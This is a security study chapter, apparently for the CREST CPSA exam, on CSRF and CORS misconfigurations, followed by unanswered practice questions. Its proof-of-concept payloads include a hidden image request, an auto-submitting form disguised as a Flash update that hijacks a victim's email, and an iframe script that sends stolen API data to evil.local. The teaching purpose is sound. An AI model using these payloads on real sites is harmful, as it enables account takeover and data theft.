11.3 Cross-Site Request Forgery (CSRF) & Client-Side Attacks
Key Takeaways
- Cross-Site Request Forgery (CSRF) tricks an authenticated victim's browser into transmitting unauthorized state-changing HTTP requests to a trusted application where the victim has an active session.
- Successful CSRF requires three conditions: an action with security impact, cookie-based ambient session management, and predictable request parameters containing no unguessable secrets.
- Primary CSRF mitigations include the Synchronizer Token Pattern (anti-CSRF tokens), SameSite cookie attributes (Strict and Lax), and mandatory re-authentication for high-consequence operations.
- Cross-Origin Resource Sharing (CORS) misconfigurations—particularly reflecting arbitrary Origin headers while setting Access-Control-Allow-Credentials: true—completely undermine the Same-Origin Policy and expose sensitive authenticated responses to unauthorized origins.
11.3 Cross-Site Request Forgery (CSRF) & Client-Side Attacks
While Cross-Site Scripting (XSS) executes arbitrary code within an application's origin, Cross-Site Request Forgery (CSRF / XSRF) operates across origins to exploit the implicit trust a web application places in an authenticated user's browser. In a classic CSRF attack, an adversary tricks an authenticated victim into issuing unwanted, state-changing requests to a vulnerable application. Because web browsers automatically attach session credentials (such as cookies) to cross-site HTTP requests, the vulnerable application cannot distinguish between a legitimate request intentionally initiated by the user and a forged request initiated by a malicious third-party site.
For security analysts preparing for the CREST CPSA examination, mastering CSRF requires a rigorous understanding of its prerequisites, exploit payload construction, defensive architectures (such as anti-CSRF tokens and SameSite cookie attributes), and related cross-origin authorization mechanisms—specifically Cross-Origin Resource Sharing (CORS) misconfigurations.
Mechanics and Prerequisites of Cross-Site Request Forgery
CSRF is categorized as a "confused deputy" attack. The browser is the deputy: it holds the authority (session cookies) to perform actions on the target application. An external adversary tricks the deputy into using that authority for unauthorized purposes.
+---------------------------------------------------------------------------------------------------+
| CSRF ATTACK TRANSACTION FLOW |
+---------------------------------------------------------------------------------------------------+
| 1. Victim logs into vulnerable banking site (https://bank.local) |
| -> Server issues session cookie: Set-Cookie: session=xyz987 |
| |
| 2. Victim visits attacker-controlled site (https://evil.local) in another browser tab |
| |
| 3. evil.local serves hidden HTML form that auto-submits to https://bank.local/transfer |
| |
| 4. Browser automatically attaches bank.local session cookie to the outbound cross-site POST |
| |
| 5. bank.local processes request as authentic -> Transfers $10,000 to attacker account |
+---------------------------------------------------------------------------------------------------+
The Three Prerequisite Conditions for CSRF
For a CSRF attack to be viable, the vulnerable functionality must satisfy three specific criteria:
- A Relevant State-Changing Action: The target endpoint must execute an action that alters application state or produces a meaningful security consequence (e.g., changing a user's password, updating an email address, transferring funds, granting administrative permissions, or placing an order). Merely retrieving data (safe GET requests) does not constitute CSRF because the attacker's cross-site script cannot read the response due to the Same-Origin Policy; the attack only succeeds if the transmission itself triggers backend state modification.
- Cookie-Based Session Handling: The application must rely entirely on ambient credentials automatically transmitted by the browser—specifically HTTP cookies (or HTTP Basic/Digest authentication). If the application requires credentials passed via custom HTTP headers (such as
Authorization: Bearer <token>) that browsers do not attach automatically to cross-site requests, standard CSRF is prevented. - Predictable Request Parameters: All parameters required to execute the target action must be known or guessable by the adversary. If the server requires a parameter containing unpredictable, cryptographically random secret data that cannot be determined in advance, the attacker cannot construct a valid forged request.
Proof-of-Concept Exploit Construction
Depending on the HTTP method and data encoding accepted by the target endpoint, CSRF exploits are constructed using distinct HTML/JavaScript primitives.
1. GET-Based CSRF Exploitation
If an application incorrectly performs state-changing operations via GET requests (violating RFC 7231 HTTP specifications), exploitation requires nothing more than an HTML tag that triggers an automatic subresource fetch:
<!-- Attacker webpage hosted on https://evil.local -->
<h1>Welcome to our Free Wallpaper Site!</h1>
<img src="https://bank.local/account/transfer?recipient=attacker&amount=10000" width="0" height="0" style="display:none;" />
When the victim's browser loads the page, it attempts to render the image by issuing a GET request to the specified src URL, automatically attaching the victim's authenticated bank.local session cookies. The bank server processes the transfer immediately.
2. POST-Based CSRF Exploitation
Secure applications generally enforce POST, PUT, or DELETE methods for state modification. To exploit a POST-based endpoint, an adversary constructs a self-submitting HTML form hosted on an external server:
<!DOCTYPE html>
<html>
<head>
<title>Flash Player Update</title>
</head>
<body>
<!-- Hidden CSRF Form targeting corporate portal -->
<form id="csrfPayload" action="https://portal.corp.com/api/user/change-email" method="POST">
<input type="hidden" name="new_email" value="attacker@evil.local" />
<input type="hidden" name="confirm_email" value="attacker@evil.local" />
</form>
<script>
// Automatically submit form immediately upon page load
document.addEventListener("DOMContentLoaded", function() {
document.getElementById('csrfPayload').submit();
});
</script>
</body>
</html>
When the victim navigates to this page while holding an active session on portal.corp.com, the DOM loads, triggers the JavaScript submit() method, and dispatches a cross-site POST request carrying the victim's active session cookies.
CSRF Defenses and Mitigations
Protecting web applications from Cross-Site Request Forgery requires breaking one of the three prerequisites: specifically, ensuring that requests cannot be forged without a secret, unpredictable token, or preventing the browser from attaching session cookies across origin boundaries.
+---------------------------------------------------------------------------------------------------+
| CSRF DEFENSIVE MECHANISMS |
+---------------------------------------------------------------------------------------------------+
| Defense Mechanism | Operation Type | Architecture & Characteristics |
+---------------------------------+----------------+------------------------------------------------+
| Synchronizer Token Pattern | Stateful | Cryptographic random token bound to session |
| Double-Submit Cookie Pattern | Stateless | Cookie matched against request body parameter |
| SameSite Cookie (Strict) | Browser Policy | Zero cross-site cookie transmission |
| SameSite Cookie (Lax) | Browser Policy | Withheld on POST; allowed on top-level safe GET|
| Re-Authentication / MFA | User Challenge | Prompts for current password or MFA token |
+---------------------------------------------------------------------------------------------------+
1. The Synchronizer Token Pattern (Anti-CSRF Tokens)
The gold standard for CSRF prevention is the Synchronizer Token Pattern.
- Lifecycle & Architecture:
- When a user authenticates, the server generates a cryptographically strong, pseudo-random token (minimum 128 bits of entropy) tied directly to the user's server-side session.
- When rendering any HTML form containing a state-changing action, the server inserts this token as a hidden form input:
<input type="hidden" name="csrf_token" value="d8e9f2a4b1c7823e4590123fabc4589d" /> - When the user submits the form, the server compares the submitted
csrf_tokenagainst the token recorded in the user's active session. - If the token is missing, invalid, or belongs to a different user session, the server rejects the transaction with an HTTP 403 Forbidden.
- Security Rationale: Because of the Same-Origin Policy, an external site (
evil.local) cannot read the DOM ofbank.localto steal the hidden token. Therefore, the attacker cannot include the correct token in their forged form, breaking the predictable parameters prerequisite.
2. The Double-Submit Cookie Pattern
In stateless architectures (such as microservices or Single Page Applications where the backend server does not maintain server-side sessions), applications use the Double-Submit Cookie Pattern:
- The server generates a random anti-CSRF value and sets it in an un-HttpOnly cookie (e.g.,
CSRF-TOKEN=xyz123). - When the client-side JavaScript submits a state-changing request, it reads the value from the cookie and inserts it into a custom request header (e.g.,
X-CSRF-TOKEN: xyz123) or request body parameter. - The server verifies that the value in the header/body exactly matches the value in the cookie.
- Vulnerability Exposure: If an attacker controls any subdomain within the parent domain (e.g.,
vulnerable.corp.comunder.corp.com), the attacker can exploit cookie tossing to overwrite the victim's CSRF cookie with a known value, defeating the double-submit check.
3. The SameSite Cookie Attribute
The SameSite attribute in the Set-Cookie response header controls whether cookies are included in cross-site requests initiated by third-party origins:
SameSite=Strict: The cookie is never sent in cross-site requests, including when a user clicks a regular link from an external site (e.g., a link in an external email pointing to the application). This provides absolute CSRF protection, but degrades user experience for incoming external navigations.SameSite=Lax: Default behavior in modern Chromium-based browsers. The cookie is withheld on all cross-site subresource requests (images, iframes, embedded forms) and cross-site POST/PUT requests. However, the cookie is permitted on "top-level navigations" using safe HTTP methods (specifically GET requests initiated by clicking a standard<a>link).SameSite=None: The cookie is sent on all cross-site requests. Modern browsers requireSameSite=Noneto be accompanied by theSecureattribute (SameSite=None; Secure), ensuring transmission occurs strictly over HTTPS.
Cross-Origin Resource Sharing (CORS) Misconfigurations
While CSRF focuses on unauthorized state-changing actions, Cross-Origin Resource Sharing (CORS) governs whether one origin is permitted to read sensitive response data from another origin.
+-----------------------+ 1. GET /api/account (Origin: https://evil.local) +------------------------+
| Attacker Webpage | -------------------------------------------------------> | Corporate API Server |
| (https://evil.local) | | (https://api.corp.com) |
+-----------------------+ <-------------------------------------------------------+------------------------+
2. Response with Misconfigured CORS Headers:
Access-Control-Allow-Origin: https://evil.local
Access-Control-Allow-Credentials: true
[Browser permits evil.local JavaScript to read raw API response]
CORS Fundamentals
Under standard SOP, a web application running at https://evil.local can issue an asynchronous fetch() to https://api.corp.com/account, but the browser will block evil.local's JavaScript from reading the returned response.
CORS allows api.corp.com to relax this restriction selectively by sending specific HTTP response headers:
Access-Control-Allow-Origin: Specifies which external origins are authorized to read responses.Access-Control-Allow-Credentials: A boolean header (true) indicating whether the browser is allowed to expose the response to the script when the request was made with credentials (cookies or authorization headers).Access-Control-Allow-Methods: Lists permitted HTTP methods (e.g.,GET, POST, OPTIONS).
Critical CORS Misconfigurations
Penetration testers frequently discover severe CORS misconfigurations arising from flawed backend code designed to accommodate multiple partner domains:
- Arbitrary Origin Reflection with Credentials:
A common developer mistake is dynamically reading the client's
Originheader and reflecting it back in the response:
Because the server echoes# Outbound Request from Attacker Site GET /api/user/profile HTTP/1.1 Host: api.corp.com Origin: https://evil.local Cookie: session=secret123 # Server Response with Dangerous CORS Reflection HTTP/1.1 200 OK Access-Control-Allow-Origin: https://evil.local Access-Control-Allow-Credentials: true Content-Type: application/json {"email":"ceo@corp.com","ssn":"000-11-2222","api_key":"live_sec_999"}Access-Control-Allow-Origin: https://evil.localand setsAccess-Control-Allow-Credentials: true, the victim's browser permits the attacker's script to read the full plaintext response, exposing PII, financial data, or API tokens. - Trusting the
nullOrigin: Developers sometimes addnullto their allowed origins list to support local files (file://) or sandboxed iframes. However, an attacker can force a request to generate anOrigin: nullheader by executing the exploit from within a sandboxed<iframe>:<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc=" <script> fetch('https://api.corp.com/sensitive-data', {credentials: 'include'}) .then(r => r.text()) .then(d => fetch('https://evil.local/log?data=' + encodeURIComponent(d))); </script> "></iframe> - Wildcard Origin (
*) with Sensitive Data: SettingAccess-Control-Allow-Origin: *allows any public site to read the response. The CORS specification prohibits the combination ofAccess-Control-Allow-Origin: *withAccess-Control-Allow-Credentials: true. However, if sensitive public data or internal network topologies are leaked via wildcard CORS without authentication, information disclosure occurs.
Which set of conditions is strictly required for a Cross-Site Request Forgery (CSRF) vulnerability to be exploitable against a web application endpoint?
A banking web application sets its session cookie using the directive Set-Cookie: session=abc123; SameSite=Lax; Secure. How does the browser handle this cookie when an authenticated victim visits an attacker's website containing a hidden form that issues a cross-site POST request to the bank?
A penetration tester assesses a financial portal's API at https://api.corp.com/balance. When sending a test request with the header Origin: https://attacker.com, the API responds with Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true. What is the security impact of this configuration?
What is the primary mechanism by which the Synchronizer Token Pattern protects web applications from Cross-Site Request Forgery?